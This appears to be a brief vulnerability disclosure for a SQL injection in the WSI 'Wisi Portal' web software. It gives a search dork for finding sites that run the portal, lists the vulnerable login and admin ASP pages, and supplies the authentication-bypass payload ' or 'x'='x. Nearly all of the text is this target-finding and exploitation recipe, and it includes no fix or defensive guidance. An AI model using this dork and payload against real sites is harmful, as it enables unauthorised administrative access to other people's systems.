Wisi Portal [Sql Injection By Jesus Tovar]



######################
##By: Jesus Tovar
##mail: nagazakig74@xxxxxxxxxxx
##Greetz: Dario Struz
##Vendor: http://www.wsicorporate.com
##Digital Security Owner
####################################

Dork: "Created and maintained by WSI"

File Bug: /login.asp
/admin/login.asp
/admin/request.asp

Sql Injection :

' or 'x'='x

Site Examples:

http://host.com/admin/login.asp
/default.asp
/request.asp



Relevant Pages